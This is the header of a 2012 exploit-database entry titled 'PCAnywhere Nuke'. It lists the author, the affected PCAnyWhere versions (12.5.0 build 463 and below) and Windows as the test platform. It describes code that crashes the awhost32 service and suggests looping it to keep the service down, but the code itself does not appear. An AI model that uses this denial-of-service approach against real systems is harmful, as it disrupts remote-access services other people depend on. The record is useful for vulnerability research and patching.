Exploit Title: PCAnywhere Nuke  
Date: 2/16/12  
Author: Johnathan Norman spoofy <at> exploitscience.org or @spoofyroot  
Version: PCAnyWhere (12.5.0 build 463) and below  
Tested on: Windows  
Description: The following code will crash the awhost32 service. It'll be respawned  
so if you want to be a real pain you'll need to loop this.. my inital impressions  
are that controlling execuction will be a pain.
